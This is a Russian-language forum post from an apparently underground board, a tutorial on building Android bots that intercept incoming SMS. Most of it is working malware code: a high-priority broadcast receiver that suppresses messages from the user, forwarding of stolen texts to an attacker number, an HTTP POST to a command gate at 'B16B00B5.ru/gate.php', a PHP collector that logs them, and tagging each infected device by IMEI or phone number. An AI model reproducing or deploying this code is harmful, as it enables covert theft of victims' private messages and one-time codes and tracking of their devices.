Bandit 289 Жалоба Опубликовано 12 июля, 2016 Всем привет! Сегодня мы разберёмся как работают боты для перехвата входящих смс под андроид(полного кода конечно же не будет, но будет объяснён принцип работы). Для этого сначала в файле манифеста необходимо зарегистрировать свой "широковещательный приёмник": Code: <receiver android:name=".SMSReceiver"><intent-filter android:priority="100"><action android:name="android.provider.Telephony.SMS_RECEI VED" /> </intent-filter></receiver> приоритет равен 100 для того что бы наше приложения гарантированно первым получило входящее сообщение и задать нужные разрешения для получения входящих смс и отправки их нам на номер Code: <uses-permission android:name="android.permission.SMS_RECEIVED" /><uses-permission android:name="android.permission.SEND_SMS" /> После этого создадим свой класс который будет принимать все широковещательные запросы, "фильтровать" их на предмет входящего сообщения и отправлять его нам на номер: Code: public class SmsReceiver extends BroadcastReceiver {private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";@Overridepublic void onReceive(Context context, Intent intent) {if (intent.getAction().equals(SMS_RECEIVED)) { // Проверяем что пришло именно смс сообщение(константа "android.provider.Telephony.SMS_RECEIVED")abortBroadcast(); // Прерываем широковещание для того что бы сообщение не увидел пользователь// Но как известно начиная с версии андроид 4.4.2 в наш приёмник попадает не само сообщение, а его копия(SMS_DELIVER_ACTION работает только для приложения по умолчанию для приёма сообщений)// Так что как скрыть его от пользователя на версиях аднроид >= 4.4.2 подумайте сами - есть как минимум два известных мне способа(которые не будут освещены в рамках данной статьи)Bundle bundle = intent.getExtras(); // Получаем все входящие данныеif (bundle != null) { // И если "не пустота"Object[] pdus = (Object[]) bundle.get("pdus");if (pdus.length != 0) { // И длина не равна нулю// Вот тут собираем все части входящего сообщения воедино(если текст смс превышает 170 символов то оно разбивается на части, а нам же не нужна только какая то часть? нам нужно сообщение целиком)// В переменную типа StringBuilder(последовательность символов)SmsMessage[] messages = new SmsMessage[pdus.length];StringBuilder sb = new StringBuilder();for (int i = 0; i < pdus.length; i++) {messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);sb.append(messages[i].getMessageBody());}String sender = messages[0].getOriginatingAddress(); // Получаем адрес отправителяString message = sb.toString(); // Преобразуем полученное сообщение из последовательности символов в строкуSmsManager sms = SmsManager.getDefault();sms.sendTextMessage("1234567890", null, message, null, null); // И отправляем полученное сообщение нам на номер }}}}} Да, конечно отправлять перехваченные сообщения нам на номер удобно, но интереснее будет их слать на веб-гейт.Для этого зададим разрешение для использования интернета: Code: <uses-permission android:name="android.permission.INTERNET" /> И создадим функцию которая будет отправлять данные используя протокол HTTP методом POST: Code: public void postData(String sender, String message) {HttpClient httpclient = new DefaultHttpClient(); // Создаём HttpClientHttpPost httppost = new HttpPost("http://B16B00B5.ru/gate.php"); // Указываем адрес гейтаtry {// Добавляем данные для отправки на гейтList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);nameValuePairs.add(new BasicNameValuePair("sender", sender));nameValuePairs.add(new BasicNameValuePair("message", message));httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));// Выполняем HTTP запрос методом POSTHttpResponse response = httpclient.execute(httppost);// Ловим все возможные ошибки} catch (ClientProtocolException e) {// Как то обрабатываем ошибку протокола} catch (IOException e) {// Как то обрабатываем ошибку ввода/вывода}} // p.s. не плохо бы было этой функцией возвращать какое то значение в случае удачной отправки и неудачной - это уже кому надо сам доделает. Ну и конечно же создадим скрипт gate.php который будет принимать данные от нашего приложения и писать их в файл: Code: <?php define(LOG_FILE_NAME, "log.txt"); // Зададим имя файла в который будем писать "логи", не забудьте выставить права на файл что бы процесс веб-сервера смог писать в него// chown apache:apache log.txt // или грубый вариант - chmod 777 log.txt$sender = urldecode($_POST['sender']); // Получим отправителя и переведём его из "интернет кодировки" в человеко-понятный и читабельный вид$message = urldecode($_POST['message']); // Получим текст сообщения и переведём его из "интернет кодировки" в человеко-понятный и читабельный вид$log = "Sender: " + $sender + "rn" + "Message: " + $message + "rnrn"; // Создадим формат логаfile_put_contents(LOG_FILE_NAME, $log, FILE_APPEND); // Ну и запишем наш лог в файл(FILE_APPEND говорит что необходимо дозаписывать в файл)?> Вот как то так и работают боты которые перехватывают смс... но если внимательно прочитать всё выше написанное сразу возникает вопрос - а если ботов много то как определить от какого именно в логе сообщение?А вот так - достаточно как то идентифицировать бота(присвоить ему какой то идентификатор и передавать его на гейт вместе с остальными данными), в качестве идентификатора бота можно использовать например IMEI(IMEI для GSM или MEID для CDMA) аппарата: Code: String mID = android.telephony.TelephonyManager.getDeviceId() или номер телефона: Code: TelephonyManager tMgr = (TelephonyManager)this.getSystemService(Context.TE LEPHONY_SERVICE);String mPhoneNumber = tMgr.getLine1Number(); // Не забудьте только проверить на null перед отправкой на гейт для использования этих функций необходимо разрешение Code: <uses-permission android:name="android.permission.READ_PHONE_STATE" /> ну и подружить это всё с основным кодом я думаю не составит труда Вот теперь кажется всё 2015 darknet © 0xB16B00B5 Поделиться сообщением Ссылка на сообщение